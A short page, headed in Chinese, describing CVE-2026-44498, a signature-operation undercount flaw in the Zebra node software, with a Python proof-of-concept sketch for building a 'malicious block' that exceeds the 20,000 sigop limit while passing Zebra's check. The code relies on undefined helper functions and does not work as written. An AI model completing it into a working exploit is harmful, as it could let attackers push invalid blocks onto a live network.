CVE-2026-44498 Zebra区块验证签名计数漏洞

# POC Concept for CVE-2026-44498 # This script demonstrates the logic to create a block that bypasses Zebra's sigop check. # Note: Actual mining requires a full implementation and network access. def create_malicious_block(transactions): """ Constructs a block where transparent signature operations are undercounted. """ block = { "version": 4, "transactions": transactions, # In vulnerable versions, Zebra undercounts these. "transparent_sigops": count_transparent_sigops(transactions) } # Simulate the vulnerability: The actual count exceeds MAX_BLOCK_SIGOPS (20000) # but Zebra thinks it's valid. actual_sigops = calculate_actual_sigops(transactions) if actual_sigops > 20000 and block['transparent_sigops'] <= 20000: print(f"Vulnerable block created! Actual sigops: {actual_sigops}, Counted sigops: {block['transparent_sigops']}") return block else: print("Block is valid or vulnerability not triggered.") return None # Example usage # txs = generate_transactions_with_excessive_sigops(20001) # malicious_block = create_malicious_block(txs)